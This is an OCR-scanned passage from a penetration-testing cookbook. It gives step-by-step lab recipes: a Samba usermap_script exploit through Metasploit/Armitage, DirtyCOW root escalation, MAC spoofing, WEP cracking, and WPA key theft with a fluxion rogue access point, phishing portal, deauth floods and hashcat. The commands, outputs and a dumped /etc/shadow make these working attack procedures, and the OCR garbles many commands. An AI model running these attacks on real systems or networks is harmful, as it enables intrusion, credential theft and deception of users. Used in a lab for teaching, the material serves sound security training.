| ntfsag_priv_j
| overlayfs_prit
|| pkexec

L] recvmmsg_

L service_persiL‘,

Armitage: main screen

10. In the login dialog box, enter user7 for the user and passwora for the password, and
then click on Launch:

login (- IO ]
user ¥ | pass host
User usery
Pass password|
|| Check all credentials
| Launch |

Armitage: Launch dialog box

11. You will now see that we have remote access to the box based on the host icon
change:
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Armitage @ e 6

Armitage View Hosts Attacks Workspaces Help

¥ [ exploit .
¥ (&5 linux \', "
¥ [ local Lg
1 bpf_priv_esc
|1 cron_persiste
L] docker_daem
|1 hp_smhstart | 192.168.56.165

Kkloxo Ixsuexd TELNET user7:password (192.168.56.105:23)
|1 netfilter_priv]
1 ntfs3g_priv_¢
overlayisipn"

| pkexec
recvmmsg_pt

servic e_per".\"'

Console X | nmap X | auxiliary K]
PASSWORD password
msf auxiliary( ) > USER_AS_PASS false
USER_AS_PASS == false

ry BLANK_PASSWORDS false

4 ORDS => false

msf auxiliary( ) > set USERNAME user?7

USERNAME user7

msf auxiliary( ) > set RPORT 23

RPORT == 23

msf auxiliary( ) > set DB_ALL_CREDS false

DB_ALL_CREDS == false

msf auxiliary( ) = run -j

*] Auxiliary module running as background job
192.168.56.105:23 - 192.168.56.185:23 - Login Successful: user7:password
192,168.56.105:23 - Attempting to start session 192.168.56.1¢ 3 with user7:password
Command shell s on 7 opened (192.168.56.18:43185 -> 192.168.56.1085:23) at 2017- D -64600
Scanned 1 of 1 hos ( C lete) v
auxiliary(

Armitage: main screen

12. Right-click on the hosts and select the shell | Interact option, and you will be

dropped into a Command Prompt window on the Metasploitable machine. Enter
the following:

whoami <enter>
shutdown -h now <enter>
sudo shutdown -h now <enter>

13. From the output, you will notice that we are a standard user and have no root or
sudo privileges:

[ Console X T nmap X T auxiliary X T Shell 7 X ]

user/@metasploitable:~§ user7@metasploitable:~$ user7
$ hutdown -h now
Need to be root
user/@metasploitable:~§ sudo shutdown -h now
[sudo] password for user7: [sudo] password for user7: wuser7 is not in the sudoers file. This incident will be reported.

user7@metasploitable:~$
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Armitage: shell output

14. Now let's try and exploit the system to gain root access. Right-click on the hosts
and select Attack | samba | usermap_script:

Armitage @ e 0

Armitage View Hosts Attacks Workspaces Help

¥ & exploit i
¥ (& linux «|
v (& local r
' bpf_priv_esc
|1 cron_persiste ' - ftp >
=egin htt >
[ docker_daen ' Shell Z irc ’ >
| hp_smhstart BUERL Scrvices misc 2
1 kloxo_Ixsuex ' el postgres >
|| netfilter_priv, Host realserver >
L1 ntfs3g_priv_ samba > is_known_pipename
.| overlayfs_prit smtp > trans2open
L] pkexec ssh = usermap_script
|| recvmmsg_ telnet > -
T . ] check exploits...
L1 service_persiy vnc >
5 = 5 webapp >
wyse >
e - | x11 >

Armitage: main screen

15. On the attack dialog box, make sure your LHOST is correct, and click on Launch:

Attack 192.168.56.105 o0

Samba "username map script” Command Execution

This module exploits a command execution vulnerability in Samba versions 3.0.20 through *
3.0.25rc3 when using the non-default "username map script" configuration option. By

specifvina a username containina shell meta characters. attackers can execute arbitrarv ¥
Option 4 | Value

LPORT 9083

RHOST #+ 192.168.56.105

RPORT 139

Targets: |0 == Automatic |¥|
] Use a reverse connection

|_| Show advanced options

Launch |

Armitage: attack dialog

16. After it shows a successful launch, you will see that a new shell session was
created, in my case, shell 8:
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| [ Console X T nmap X T auxiliary X T Shell 7 X T exploit X]
RPORT == 139

msf exploit( } = set RHOST 192.168.56.185

RHOST == 192,168.56.105

msf exploit( ) > exploit -j

[*] Exploit running as background job.

[*] Started reverse TCP double handler on 192,168.56.10:15809

[*] Accepted the first client connection.

[ hAAcchth the second client connpctlon
Command: echo V1ghxQ6IVvdgZDf8;
Writing to socket A
Writing to socket B
Reading from sockets...
Reading from socket B
B: "V1ghxQ6IVvdgZDf8\r\n"
Matching...
A is input...
Command shell session 8 opened (192.168.56.10:15800 -> 192,168.56.185:57383) at 2017-88-10 85:44:08 -0400
exploit(

[*]
[*1
ol
B
[
[*]
[*]
[>]
[*]
msf

uﬂ v

Armitage exploit output

17. Right-click on the host and select the shell8 | Interact option, and you will be

dropped into a Command Prompt window in the Metasploitable machine. Enter the
following;

| whoami <enter>

18. You will now see that we are the root user and we can shut down the host with the
following command:

| shutdown -h now <enter>

[ Console XT nmap X T auxiliary X T SHeii 7l T exploit X T Shell 8 x]
$ whoami

root
$ shutdown -h now

Armitage shell output

19. You will notice if you switch to the screen of the Metasploitable machine that it is
shutting down:
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tem is going down for halt NOW?

= Stopping web server apachel

* Stopping Tomcat servlet engine tomcat5.5
Stopping Samba daemons: nmbd smbd.
not implemented
Stopping NFS common utilit
Stopping Postfix Mail Transport Agent post
Stopping internet superserver xinetd
Stopping MySOL database server mysqld
Stopping P reSQL 8.3 database server
Saving the stem clock
Stopping firewall: ufw...
Stopping ftp server proftpd
Unmounting any overflouw tmpfs from /tmp...
Stopping NFS kernel daemon
Unexporting directories for NFS kernel daemon...
Stopping domain name serwvice... bind
Terminating all remaining proc
Sending all processes the KILL
Deactivating swap...
Unmounting local filesystems...
Will now halt
halt: Unable to iterate IDE devices: No such file or directory
[ 5692.230Z871 System halted.

£
3%
%
*
*
*
*
b
3
B
3
=
=
S
£l
*

B o® o™ 3@ E Left 38

Metasploitable console: machine shutting down
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DirtyCOW privilege escalation for Linux

In this recipe, we will use DirtyCOW to exploit Linux.

We will use Metasploit with the DirtyCOW vulnerability to provide privilege
escalation. Dirty Copy-On-Write (DirtyCOW) was recently discovered and was a
major vulnerability as it went for several years without being recognized and patched.
DirtyCOW is a privilege escalation bug that exploits a race condition in the copy on
write function.
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Getting ready

Let's ensure the following prerequisites:

e Your Kali VM is up and running
e Your Metasploitable VM is up and running and on the host-only network
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How to do it...

We will now launch DirtyCOW against a Linux machine:

1. Open up a terminal window by clicking on the terminal icon: .
2. Enter the following commands to download our DirtyCOW exploit:

cd <enter>
wget https://github.com/FireFart/dirtycow/raw/master/dirty.c <enter>
nano dirty.c <enter>

3. From within nano, look for the section struct vserinfo user; and change the

user.username 10 "dirtycow":

t main(int argc, ir *argv([])

int ret = copy file(filename, backup filename);
(ret !'=0) {
exit(ret);

[}
t Userinfo user;

USer.username =
user.user _id = 0;
user.group id = 0;
user.info =
user.home_dir =
user.shell =

*plaintext pw;

nano interface
4. Now we will send over the C code to our Metasploitable machine for compiling.

I will use the same username and password I created in a previous
recipe, Remote Linux privilege escalation.

cd <enter>
scp ./dirty.c user7@192.168.56.105:dirty.c <enter>
password <enter>

5. From your Kali VM, open an SSH session to your Metasploit VM as a standard
user:
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ssh user7@192.168.56.105 <enter>
password <enter>

6. Let's compile our new exploit:

| gcc -pthread dirty.c -o dirty -lcrypt <enter>

7. Now we will take a look at how we are before we launch the exploit:

whoami <enter>

id <enter>

cat /etc/shadow <enter>
sudo /etc/shadow <enter>
password <enter>

8. You will notice I am a standard user and have no root privileges, nor amI a suao
user:

user7@metasploitable:~$ id

uid=1010(user?7) gid=1010(user7) groups=1018(user7)
user7@metasploitable:~$ cat /etc/shadow

cat: /etc/shadow: Permission denied
user7@metasploitable:~$ sudo cat /etc/shadow
[sudo] password for user7:

user7@metasploitable:~$ sudo cat /etc/shadow
[sudo] password for user7:

Sorry, try again.

[sudo] password for user7:

user?7 is not in the sudoers file. This incident will be reported.
user7@metasploitable:~$ [J

Metasploitable machine output

9. Let's now run the airtycow €xploit:

./dirty <enter>
dirtycow <enter>

This will take several minutes to complete; be patient until you are back at
the Command Prompt window.
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user7@metasploitable: ~ - IO -]

File Edit View Search Terminal Help

user7@metasploitable:~$ -
user7@metasploitable:~$

user7@metasploitable:~$

user7@metasploitable:~$ ./dirty

/etc/passwd successfully backed up to /tmp/passwd.bak

Please enter the new password:

Complete line:

dirtycow: fitqZBN7ML106:0:0:pwned:/root:/bin/bash

mmap: b7eel00
madvise @

ptrace ©
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'dirtycow' and the password 'dirtycow’.

DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'dirtycow' and the password 'dirtycow'.

DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
user7@metasploitable:~$ !

Metasploitable: DirtyCOW exploit

10. Now let's see if we have a user we can su t00:

su dirtycow
dirtycow

whoami

id

cat /etc/shadow

11. You will now see from the output that [ am an elevated user and root equivalent:
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dirtycow@metasploitable: /home/user7 e e O

File Edit View Search Terminal Help
USET /@NELaspLOLLaDie:~3 a

user7@metasploitable:~$ su dirtycow

Password:

dirtycow@metasploitable:/home/user7# whoami

dirtycow

dirtycow@metasploitable: /home/user7# id

uid=0(dirtycow) gid=0(root) groups=8(root)
dirtycow@metasploitable:/home/user7# cat /etc/shadow
root:$1$/avpfBl1$x0z8wSUF9Iv. /DROESLid.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::

bin:*:14684:0:99999:7:::
sys:$1$fUX6BPOtSMiyc3Up02zQIlqz4s5wFDI10:14742:0:99999:7:::
sync:*:14684:0:99999:7:::

games:*:14684:0:99999:7:::

man:*:14684:0:99999:7:::

1p:*:14684:0:99999:7:::

mail:*:14684:0:99999:7:::

news:*:14684:8:99999:7:::

Uucp:*:14684:0:99999:7:::

proxy:*:14684:0:99999:7:::

www-data:*:14684:0:99999:7:::

backup:*:14684:0:99999:7:::

list:*:14684:0:99999:7:::
irc:*:14684:0:99999:7:::

s & marna n~ Annan S

Metasploitable: elevated privileges output.

Don't forget to restore your /etc/passwa file when finished by entering the
following command: v /tmp/passwd.bak /etc/passwd.
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Wireless Specific Recipes

In this chapter, we will cover the following topics:

Scanning for wireless networks

Bypassing MAC-based authentication

Breaking WEP encryption

Obtaining WPA/WPA?2 keys

Exploiting guest access

Rogue AP deployment

Using wireless networks to scan and attack internal networks
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Introduction

Although all the previous chapters have created a basis for pen testing that works across
the spectrum, wireless has its own set of tools that span the pen testing methodology.

Scanning for Service Set Identifiers (SSIDs)
Scanning for hidden SSIDs

Determining security of target SSID

Testing for MAC address authentication

Cracking Wired Equivalent Privacy (WEP)
Cracking Wi-Fi Protected Access (WPA/WPA2)
Exploiting guest access

Rogue Access Point (AP) deployment
Man-in-the-Middle (MITM) wireless attacks
Using wireless networks to scan internal networks
Using wireless as a vector for network related attacks
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Scanning for wireless networks

Wireless networking is very popular due to its ease of use, reduction of cabling, and
ease of deployment. Fortunately for us, the very same features that make it easy to use on
a day-to-day setting also make it easy to monitor and to perform attacks from areas that
do not rely on physical access to the network. Often the wireless signal bleeds into
public areas, such as parking lots, adjacent office spaces, shopping malls, and more.
Unless the wireless network administrator has taken great pains to limit the wireless
coverage to only their facility, it is very likely that you can begin your wireless
reconnaissance using a smart phone to identify a good location to set up your Kali Linux
platform within the range.

In this section, we will cover how to use airoaump-ng to identify the available wireless
SSIDs including those that are not set to advertise their presence. With the information
gathered, we will then take a look at the different types of security that are in place, and
the best ways to attempt to penetrate those layers of protection.
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Getting ready

Before you can use Kali Linux for wireless scanning, it is important to know which
wireless chipset your wireless adapter is using, as only certain wireless chipsets are
capable of being put into promiscuous or monitor mode. For a list of supported chipsets,
check https://www.aircrack-ng.org/doku.php?id=compatibility drivers.

In the event that your wireless adapter is not supported, there are many USB wireless
adapters that can be added to an existing testing platform for minimal cost.

Once you have determined that you have a supported wireless chipset, you will need to
put «1an0 into the monitor mode by doing the following:

rootRkali:~/# ifconfig wlan0 down
root@kali:~/# iwconfig wlan0 mode monitor

root@kali:~/# ifconfig wlan0O up
root@kali:~/# airmon-ng start wlan0
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How to do it...

Once you have confirmed that all interfering processes have been stopped, you will use
the following steps to start gathering information on available wireless networks:

1. Create a directory for your results named wire1ess, and change your directory to it.
This 1s where the output of the tools will be saved.
2. From the command line, type the following:

root@kali:~/wireless# airodump-ng -w KaliCookbook 8.1 wlanOmon

3. Allow this to run for a few minutes. During this time, you will begin to see
information on wireless networks that can be seen by your device, such as the

following;
CH 11 ][ Elapsed: 12 s ][ 2817-88-13 13:51
BSSID PWR  Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
68:86:A7:1D:6D:85 -34 33 il B 11 54e. WEP WEP Kali Three
68:86:A7:10:6D:87 -23 45 il B 11 54e. WPA2 CCMP  PSK  <=length: 1=
68:86:A7:1D:6D:86 -47 42 ] B 11 54e, WPAZ CCHMP  PSK Kali Four
68:86:A7:1D:60:84 -41 58 il B 11 54e. WEP WEP Kali Two
TS:BG:AT:ID:ED:EIB -35 34 il B 11 G54e. OPN kali One
BSSID STATION PWR  Rate Lost Frames Probe
root@kali:-/wireless# ]

Wireless networks seen from airodump-ng

4. Using the preceding information, you can learn the following;

1.

2.

We can see that there are a total of 5 ESSIDs, one of which is not
broadcasting its ESSID.

xali_one 1S Showing oev as its encryption type, meaning anyone can associate
with this ESSID. This is commonly how guest wireless networks are seen.

. ¥ali Two and xa1i_three are showing wer as their encryption type—but we don't

know yet whether it is 40 bit or 104 bit WEP keys.
kali rour 18 Showing as wea2, and PSK for authentication (pre-shared key).

. If we look at the BSSID (MAC address) of the ESSIDs, we see that they are

sequential. This is common for environments with centrally managed wireless
networks and tells us that successfully connecting to one or more of these
ESSIDs increases our likelihood of gaining access to the corporate network
beyond.

5. From the same directory, list the files generated as a result of the scan. Having this
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information available to you without the need to continuously scan is important to
minimize the amount of time you need to be actively scanning.
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Bypassing MAC-based authentication

In the absence of a truly centralized authentication, or in the event that devices need to
connect to a wireless network but are unable to provide authentication credentials, very
frequently an open wireless network will be in place that will be configured to only
allow specific MAC addresses to connect. This is frequently the case with older
devices that were manufactured before it was common to secure wireless networks.

Given how simple MAC authentication is to bypass, it is still used in a surprising
number of locations due to the ease of implementation as well as the perception that this
it is effective.
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Getting ready

In order to complete this recipe, you will need to follow the commands laid out in the
previous section Scanning for wireless networks, placing your wireless network
adapter into the monitor mode.

You can confirm this by running the following;

| root@kali:~/wireless# iw dev

Confirm that interface wianomon 18 set to type monitor.

root@kali:~# iw dev
phy#0
Interface wlanfmon
ifindex 9
wdev Bx6
addr eB:4e:06:07:aa:db
type monitor
channel 11 (2462 MHz), width: 20 MHz (no HT), centerl: 2462 MHz
txpower 20.080 dBm

root@kali:~# [
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How to do it...

The steps necessary for this recipe are as follows:

1. Similar to the previous section, we will be using airodaump-ng to gather more specific
information. Since we know that the ESSID xa1:i one 18 unauthenticated, we will
look for that specific BSSID and for the devices connecting to it. Open a terminal
session and start a:rodump-ng as follows:

| root@kali:~/wireless# airodump-ng --bssid 68:86:A7:1D:6D:83 -w KaliCookbook 8.2 wlanOmc

2. As this runs, you will start to see the devices that are currently connecting to this
BSSID, giving you a list of devices that are on the authorized MAC list:

CH 5 ][ Elapsed: 36 s ][ 20817-08-13 17:06

B3SID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
G63:86:AT:10:60:83 -34 121 8 B 11 Sde. OPN Kali One
BSSID STATION PWR  Rate Lost Frames Probe
68:86:A7:10:60:83 74:DA:38:06:53B:82 -6 fe- Oe i} &

Devices connecting to a particular ESSID

3. Now that we have a MAC address that is on the authorized MAC list, we can use
the maccnanger utility to change the MAC address of our Kali Linux machine to match
the preceding device.

4. Open a new root terminal and disable wiano, change the MAC address, and bring the
interface backup:

root@kali:~/wireless# ifconfig wlanOmon down

root@kali:~/wirelessi# macchanger -m 7A:DA:38:06:5B:B2 wlanOmon
root@kali:~/wireless# ifconfig wlanOmon up

root@kali: ir # ifconfig wland down

root@kali: ireless# macchanger -m 7A:Da:38:06:5B:B2 wland
Current MAC: eB:4e:06:07:aa:db (EDUP INTERNATIONAL (HK) CO., LTD)
[Permanent MAC: eB:4e:06:07:aa:db (EDUP INTERNATIONAL (HK) CO., LTD)

New MAC: Ja:da:38:06:5b:b2 (unknown)
root@kali:-/wireless# ifconfig wlané up
rootgkaliz-/wireless# [

Using macchanger to use different MAC address

5. Now, attempts to connect to this SSID should be successful. Using wetworkianager,
attempt to connect to the xa1i_one SSID, and confirm from the CLI:
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root@kali:-# iw wlan@ link
Connected to 68:86:a7:1d:6d:83 (on wlan®)
SSID: Kali One
freq: 2462
RX: 329296 bytes (2653 packets)
TX: 32075 bytes (407 packets)
signal: -20 dBm
tx bitrate: 72.2 MBit/s MCS 7 short GI

bss flags: short-preamble short-slot-time
dtim period: 1
beacon int: 162

root@kali:-# JJ
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Breaking WEP encryption

Wireless administrators recognized that having open networks or networks that rely on
MAC address authentication, presented an unacceptable level of risk and therefore over
time, there have been many attempts to harden the authentication to wireless networks,
each with their own limitations:

e Wired Equivalent Privacy (WEP) uses the RC4 encryption algorithm and
combines the user-defined key with a 24 bit initialization vector (IV).
Unfortunately, IV's are reused thus allowing for us to use tools like aircrack-ng to get
the original key, giving us access to the target network as an authenticated endpoint.

e Wi-Fi Protected Access (WPA) comes in several different flavors and is much
more secure than WEP. Because it can be used in a manner similar to WEP where a
pre-shared key is used (WPA-PSK), tools such as fluxion can recover the pre-
shared key, and where WPA?2 is used with a central authentication source
(commonly RADIUS), brute forcing becomes necessary with tools such as nasncat
(covered in section Obtaining WPA/WPA2 Keys).

It is important to note that in order for us to be able to recover pre-shared
keys, it is often necessary to monitor a large amount of network traffic ina
PCAP file for analysis, so when placing your systems, keep in mind they
will need to remain undisturbed for potentially quite some time.
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Getting ready

In order to complete this recipe, you will need to follow the commands laid out in the
first recipe of this chapter, placing your wireless network adapter into the monitor
mode.

You can confirm this by running the following;

| root@kali:~/wireless# iw dev

Confirm that the interface wianomon 18 set to type monitor.

root@kali:~# iw dev
phy#0
Interface wlan@mon

ifindex 9
wdev Bx6
addr eB8:4e:06:07:aa:db
type monitor
channel 11 (2462 MHz), width: 28 MHz (no HT), centerl: 2462 MHz
txpower 20.80 dBm

root@kali:~# ]
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How to do it...

This is the process we will follow to find and expose WEP keys:

1. Based on the scanning done in the section Scanning for wireless networks, we
know that the SSID xa1i two and a1i three are both running WEP on channe1 11, and
therefore will be our targets for this section.

2. Using airodump-ng, we Will start a dump of data fromka1i rwo using the following
command line:

| root@kali:~/wireless# airodump-ng -c 11 --bssid 68:86:A7:1D:6D:84 -w KaliCookbook 8.3 wl

3. The argument for -c is the channel (channe1 11) and BSSID is the MAC address of
the AP (68:86:27:10:6p:84). We will write the pcap file to the same directory as in the
previous sections and listen on wianomon.

4. Once initiated, it can take a very long time to gather enough data packets to expose
the IV — often between 250,000 and 1,500,000 depending on the key length. You
can see the progression in the progress indicator for airodump-ng, Where we are
watching the ¢pata column:

CH 11 ][ Elapsed: 3 mins 1[ 2017-88-13 19:22

B55ID PWR RX0 Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
68:86:A7:10:60:84 -19 &0 1436 13 8 11 54e. WEP WEP Kali_Two
B55ID STATION PWR  Rate Lost Frames Probe

Progress of airodump-ng

If you would like to run aircrack-ng using test files with known good dumps,
there are many available, along with more in-depth details on advanced
aircrack-ng at this address: https//www.aircrack-ng.org/doku.php?id=aircrack-ng.

5. Once you have gathered enough IV's to begin the cracking process, you will kick
off the process with the following command:

root@kali:~/wireless# aircrack-ng -b 68:86:A7:1D:6D:84 KaliCookbook 8.3-01.cap
Opening KaliCookbook_ 8.3.cap

Read 563244 packets.

# BSSID ESSID Encryption

1 68:86:A7:1D:6D:84 WEP (563244 1IVs)
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Choosing first network as target.

6. The process of cracking the WEP key will begin and be depending on the amount
of data gathered, the key length used; this could take some time. Once complete,
however, you will see a display like the following:

KEY FOUND! [ kali2 ]
Probability: 100%

In our case, the WEP key is xa1i2, and can now be used to connect directly to
the wireless network as an authenticated end point.
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Obtaining WPA/WPA2 Kkeys

This section will walk you through the process of gathering WPA keys using two
different methods:

e Social engineering through SSID manipulation and social engineering with fluxion
e Brute force cracking of gathered data using nasnhcat
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Getting ready

In order to complete this recipe, you will need to follow the commands laid out in the
section Scanning for wireless networks and place your wireless network adapter into
the monitor mode.

You can confirm this by running the following;

| root@kali:~/wireless# iw dev

Confirm that the interface wianomon 18 set to type monitor.

root@kali:~# iw dev
phy#0
Interface wlan@mon
ifindex 9
wdev 0Ox6
addr eB8:4e:06:07:aa:db
type monitor
channel 11 (2462 MHz), width: 20 MHz (no HT), centerl: 2462 MHz
txpower 20.00 dBm

root@kali:~# ]
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How to do it...

There are two ways in order to get the password for WPA protected networks; we will
use fluxion in the following way:

1. Fromthe command line, ensure that your wireless adapter is in the monitor mode:

root@kali:~/wireless# iw dev

phy#0

Interface wlanO
ifindex 4
wdev 0x1
addr 6e:1d:0b:80:36:2b
type monitor
channel 13 (2472 MHz), width: 20 MHz (no HT), centerl: 2472 MHz
txpower 20.00 dBm

2. From the command line, we will need to download fluxion from Git:

root@kali:~/wireless# git clone https://github.com/wi-fi-analyzer/fluxion
Cloning into 'fluxion'...

remote: Counting objects: 2646, done.

remote: Total 2646 (delta 0), reused 0 (delta 0), pack-reused 2646
Receiving objects: 100% (2646/2646), 26.13 MiB | 3.44 MiB/s, done.
Resolving deltas: 100% (1444/1444), done.

root@kali:~/wireless#

3. Navigate to the directory that is created (fiuxion/) and run the following:

| root@kali:~/wireless/fluxion# ./fluxion.sh

In the event that there are missing system dependencies, you can run the
./install/installer.sn flle to ensure that all necessary packages are installed.

4. Once all dependencies are met, you will be presented with the following;

luxion Is The Future >

2] Select your language

English
German

Romanian
Tu h

1
2
3
4
5
6
7
8
9

10| French
11] Slovenian

deltaxfluxefluxion] - [~1]]
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10.

11.

12.

Fluxion start

. In the next screen, select your wireless adapter.
. Next, you will be asked to decide which channel to monitor. Since our target SSID

1S ON channe1 11, We Will enter 11 and hit Enter.

. The next screen will cause an additional terminal window to pop up with the

heading scanning rargets followed by the channel we selected where fluxion will be
scanning for networks. Allow this to run for a few minutes until you find the SSID
you are looking to crack, then click on the X in the upper right to close the scan and
return to the fluxion application.

. You will now be presented with a list of SSIDs seen in the scanning session, and

we will want to look for those with clients attached. Enter the number of the SSID
from the list and press Enter.

. With the SSID selected, you will be given the option of how the SSID will be

attacked. In this case, we will select option (1) - rakear - Hostapd (Recommended), and
press Enter:

luxion Is The Future >
[
[_ e e e e e P e e e

INFO WIFI

SSID = Kali Five / WPA2
el = 11
i = 54 Mbps

BSSID = BOE:18:0A:36:E1:CO ( )

2] Select Attack Option
1] FakeAP - Hostapd (
2] FakeAP - airbase-ng (Slower connection)
3

deltaxflux@fluxion ~ I

Selecting false portal method

You will now be prompted to enter the location of the previously recorded
handshake sessions between clients and the AP. If you do not have any saved from
previous attempts, simply press Enter and we will select the aircrack-ng Option on
the next screen.

When asked how to capture the handshake, enter 1 for the option to deauth all and
press Enter.
This will now launch two additional windows — in the lower right, you will see
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fluxion attempting to send deauth packets, and in the upper right, you will see the
progress. When you see packets between the ESSID and a client, you can go back
to the fluxion window, and select option (1] check nhandashake and press Enter:

Capturingdataon channel ->11 @ © &

root@kali: ~/wireless/fluxion

File Edit View Search Terminal Help CHOME BNC C

0 11 Sde, WPRZ C

luxion Is The Future = ] I} PR Rate  Lost  Frames
[

I ] le- 1 0

21 *Capture Handshake*
Status handshake:
Check handshake
Back

Select another network
Exit

Deauthenticating all clients on Kali_Five -

gy

Capturing client handshakes with fluxion

If you have not successfully captured a handshake, you will have the
option to restart the process to capture one.

13. Fluxion will now look to see if it has an SSL certificate configured to use the login
portal. In most cases, it is acceptable to select create a ssi certificate and proceed:
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luxion Is The Future =

Certificate invalid or not present, please choice

1] Create a SSL certificate
2] Search for 551 certificate
3

#:sl

Certificate selection for captive portal

14. The next screen will select 1 for web 1nterrace and proceed.
15. The next screen will present you with many different options in terms of portals
that can be presented to the user. We will enter 1 for =ng1isn and continue.

Fluxion can be very heavily customized to present a portal that is nearly

identical to the one that can be used with guest portals, and so on. This
8 would require customizing the portals to fit your needs. To learn more

about how this can be done, visit the fluxion Git repository at https:/github.co

m/wi-fi-analyzer/fluxion.

16. Fluxion will now launch a series of applications in separate terminals, showing the
statistics of the processes it needs for the attack. It will launch a DHCP server, a
rogue AP (named the same as the target SSID, but not WPA protected), a DNS
server to force all DNS requests to go to the same IP address of the portal, as well
as information on the SSID being generated. MDK3 is running to deauth any
devices trying to connect to the original SSID, to force them to connect to ours:
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o x Wifi Information @ ® O

.1 Kali_Five
.1 OE:18:0A:36:E1:00
1

3B199:F9I9F 180549

Deauth all [mdk3] Kali_Five

Progress of fluxion attack

17. Once a device has been forced to connect to our SSID, they will be redirected to
the captive portal spawned by fluxion. Depending on the option you selected
earlier or based on a customized portal generated by you, they will be redirected
to a portal similar to the following;

ESSID: Kali_Five
BSSID: OE:18:0A-36:E1:CO
Channel: 11

For security reasons, enter the WPA key to access the Internet.

Enter your WPA
password:

« Submit

Captive portal

18. When the user sees this screen, they will likely enter the WPA password for the
original SSID (in our case, xa1i rive) and click Submit. When they do so, fluxion
will verify the password as being the pre-shared key, and if it is, the fluxion
processes will stop, and you will see a screen similar to the following:
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19.

20.

21.
22.

Wifi Information e 6o

[00:00:00] 170 keys tested (187,30 k/s)

Time left: 0 secomis

: A7 43 M C3 9D C2 B4 C2 7E DE 6B 11 EB 09 05

C4 D0 FE 35 B1 91 B7 40 4D 50 C4 82 38 4C O
: B0 BB IBFEDIC BEOF ICEB IF (563 93 C4 Do

AD BC 99 1C 89 ED 19 E3 20 C0 12 BA 49 B2 13

0F 34 by
59 8E
5A 6F

BE 1A OF 4B B4 8A 1 14 BE
B 87 Db 30 6B AC 98 B2 9B
iF 4E 9B DE 11 IB F1 OC 66

on
72
Ao
FD
5
=

WPA password identified

If you don't feel that it is likely that a network user can be tricked into providing
their credentials, you can also utilize nasncat to perform dictionary or brute force
attacks against the WPA key. To do this, we will use the same data gathering
process we used in the Cracking WEP Encryption section to gather data from the
Kali Five SSID:

root@kali:~/wireless# airodump-ng -c 11 --bssid OE:18:0A:36:E1:C0 -w KaliCookbook 8.4 wl

To speed the data collection process and to capture more handshakes, we will send
100 deauth attempts to the client connecting to our BSSID using the following
command line:

root@kali:~/wireless# aireplay-ng --deauth 100 -a OE:18:0A:36:E1:CO -c 38:59:F9:5F:80:A9

Allow the airodunp-ng terminal to continue in its own terminal.

Kali Linux includes a large wordlist that can be used with nasncat. Hashcat is a
versatile password brute-forcing tool that supports a tremendous number of
formats. In a separate terminal, navigate to the following directory, and unzip the
rockyou.txt.gz wordlist:

root@kali:~/wireless# cd /usr/share/wordlists
root@kali:usr/share/wordlists# gunzip rockyou.txt.gz

At the time of this writing, rockyou.txt contained 14,344,392 different
words.
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23. Stop the airoaump-ng process, and locate the cap file generated by ai rodump:

root root 4096
20 root root 296 -
< 12 root root 4096 8 18: fluxion

root root 19199553 :29 KaliCookbook 8.4-01.

root root 478 : KaliCookbook 8.4-€

root root 597 :29 KaliCookbook 8.4-01.k

root root 2779 91 : KaliCookbook 8.4-01.kismet.netxml
ess#

Files generated during airodump-ng proces

24. The file format that is generated by airodump-ng 1 incorrect for use with nasncat, and
Kali does not currently have the utility needed to convert cap files to nccapx format
that 1s needed for use with nasncat. This leaves you with two different options:

e You can download and compile the capznccapx utility from the GitHub
repository at https:/github.com/hashcat/hashcat-utils

e You can upload the ap file to the online conversion tool located at https/hasheat.
net/cap2hccapx/

25. Working on the premise that you have converted your cap file to nccapx format, using
one of the preceding tools we will now run nasncar against this file using the
rockyou. txt Wordlist:

root@kali:~/wireless# hashcat -m 2500 -a 0 KaliCookbook 8.4-01.hccapx /usr/share/wordlis

This command line does the following;
-n 2500 TellS nasncat to use the WPA hashing format
-a o : Indicates we are doing a dictionary-based attack

26. Once nashcat has determined the WPA key from the nccapx file, it will return the
results in the terminal window. As we found in the fluxion section, the WPA
password 1S wireless:

98ea6135becd8f34c2bcc4d102can592:0e180a36elcO: 3859T95780a9:Kali Five:wireles
4543d65d6b5755Tf709de65520ed7027 : 0e180a36elcO: 3859T95T80a9:Kali Five:wireles

d608307ed4ba2cb49c969137703496T8:0e180a36elcO:3859T95780a9:Kali Five:wireless
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Exploiting guest access

When guest access is offered, often it is on a shared network with the network you are
attempting to infiltrate. There are several different types of wireless guest access
offered, each has its own vulnerabilities:

1. Pre-shared keys: These are generally WEP or WPA PSK's that are intended to keep
unauthorized users or devices to a minimum. Unfortunately, these keys are
generally known by many people and are very rarely changed.

2. Captive portal: The guests connect to a wireless network and are automatically
redirected to a web page that prompts them for credentials. This may or may not be
combined with a pre-shared key.

The most common implementations of guest access include elements of recipes that we
have done in previous sections but are stung together and very frequently are labeled as
guest networks by their SSID.
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Getting ready

In order to complete this recipe, you will need to follow the commands laid out in
section Scanning for wireless networks, placing your wireless network adapter into
monitor mode.

You can confirm this by running the following;

| root@kali:~/wireless# iw dev

Confirm that the interface wianomon 18 set to type monitor.

root@kali:-# iw dev
phy#0
Interface wlan@mon

ifindex 9
videv Bx6
addr e8:4e:06:07:aa:db
type monitor
channel 11 (2462 MHz), width: 20 MHz (no HT), centerl: 2462 MHz
txpower 20.00 dBm

root@kali:~# ||
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How to do it...

To take advantage of environments with guest networks, we will us the following
process:

1. First, we need to see what networks are likely to be guest networks. Start by
running airodump-ng dAS follows:

| root@kali:~/wireless# airodump-ng -w KaliCookbook 8.5 wlanOmon

CH 8 ][ Elapsed: 30 s ][ 2017-08-14 00:04

BSSID PWR Beacons #Data, #/s (H MB ENC CIPHER AUTH ESSID
68:B6:A7:1D:6D:84 -30 105 i} @ 11 54e. WEP WEP Kali Guest
68:86:A7:1D:6D:83 -39 90 B ® 11 54e. OPN Kali Guestl
BSSID STATION PWR Rate Lost Frames Probe

Searching for guest networks

2. Based on the results of the airodump-ng Tun, we can see that ESSID ka1i cuest 18
visible and is protected with a shared WEP key, and ESSID «xa1i cuest1 1S open.

3. We will start with the open SSID since nearly all guest implementations use a guest
portal and authenticated sessions are tracked by the MAC address of the device
connecting to the guest network. To start gathering information on the nodes on this
network, we start by running ai roaump-ng specifically on the BSSID for xa1i cuest1:

